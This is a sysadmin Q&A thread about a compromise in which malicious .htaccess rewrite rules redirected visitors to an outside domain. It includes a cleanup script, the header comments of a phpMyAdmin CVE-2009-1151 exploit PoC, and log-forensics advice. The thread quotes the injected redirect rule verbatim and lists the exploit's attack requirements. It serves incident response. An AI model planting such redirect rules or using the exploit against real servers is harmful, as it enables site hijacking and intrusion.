Home / server / Questions / 214861
Accepted
Brent
Asked: 2010-12-22 06:52:17 +0800 CST

Finding Webserver Vulnerability

  • 772

We operate a webserver farm hosting around 300 websites.

Yesterday morning a script placed .htaccess files owned by www-data (the apache user) in every directory under the document_root of most (but not all) sites.

The content of the .htaccess file was this:

RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://
RewriteCond %{HTTP_REFERER} !%{HTTP_HOST}
RewriteRule . http://84f6a4eef61784b33e4acbd32c8fdd72.com/%{REMOTE_ADDR}

Googling for that url (which is the md5 hash of "antivirus") I discovered that this same thing happened all over the internet, and am looking for somebody who has already dealt with this, and determined where the vulnerability is.

I have searched most of our logs, but haven't found anything conclusive yet. Are there others who experienced the same thing that have gotten further than I have in pinpointing the hole?

So far we have determined:

  • the changes were made as www-data, so apache or it's plugins are likely the culprit
  • all the changes were made within 15 minutes of each other, so it was probably automated
  • since our websites have widely varying domain names, I think a single vulnerability on one site was responsible (rather than a common vulnerability on every site)
  • if an .htaccess file already existed and was writeable by www-data, then the script was kind, and simply appended the above lines to the end of the file (making it easy to reverse)

Any more hints would be appreciated.

==Edit==

For those who need it, here is the script I used to clean up the .htaccess files:

#!/bin/bash
PATT=84f6a4eef61784b33e4acbd32c8fdd72.com
DIR=/mnt
TMP=/tmp/`mktemp "XXXXXX"`
find $DIR -name .htaccess|while read FILE; do
  if ( grep $PATT "$FILE" > /dev/null); then
    if [ `cat "$FILE"|wc -l` -eq 4 ]; then
      rm "$FILE"
    else
      if ( tail -n1 "$FILE"|grep $PATT > /dev/null ); then
        rm $TMP
        cp "$FILE" $TMP
        LINES=`cat $TMP|wc -l`
        GOODLINES=$(($LINES-4))
        head -n $GOODLINES $TMP > "$FILE"
      else
        echo $FILE requires manual intervention
      fi
    fi
  fi
done
apache-2.2 security hacking .htaccess vulnerability

2 Answers

  1. Best Answer

    There's an exploit of phpMyAdmin

    #!/bin/bash

    # CVE-2009-1151: phpMyAdmin '/scripts/setup.php' PHP Code Injection RCE PoC v0.11
    # by pagvac (gnucitizen.org), 4th June 2009.
    # special thanks to Greg Ose (labs.neohapsis.com) for discovering such a cool vuln,
    # and to str0ke (milw0rm.com) for testing this PoC script and providing feedback!

    # PoC script successfully tested on the following targets:
    # phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 and 3.0.1.1
    # Linux 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2)

    # attack requirements:
    # 1) vulnerable version (obviously!): 2.11.x before 2.11.9.5
    # and 3.x before 3.1.3.1 according to PMASA-2009-3
    # 2) it seems this vuln can only be exploited against environments
    # where the administrator has chosen to install phpMyAdmin following
    # the wizard method, rather than manual method: http://snipurl.com/jhjxx
    # 3) administrator must have NOT deleted the '/config/' directory
    # within the '/phpMyAdmin/' directory. this is because this directory is
    # where '/scripts/setup.php' tries to create 'config.inc.php' which is where
    # our evil PHP code is injected 8)

    # more info on:
    # http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php
    # http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/

    • 3

  2. Since the attack seems to have come in through apache, I would do these two things:

    1. Chunk through all of the access logs looking for '.htaccess', i.e. something like
      grep -rn '\.htaccess' /var/log/httpd/*access*
    2. Look in the apache/httpd/whatever users home directory for a history file, often '/var/www' or something similar.

    This will first tell whether the web user itself was compromised, or the attacker was utilizing an arbitrary command execution. It may also give a (potential) full account of what the attacker did. As silly as it sounds, most hacks like this rarely clean up after themselves and leave such evidence behind.

    And, of course, if you have a group in your organization that performs security incident response or forensics examination, it might be worth handing the equipment over to them before you begin your own analysis.

    • 0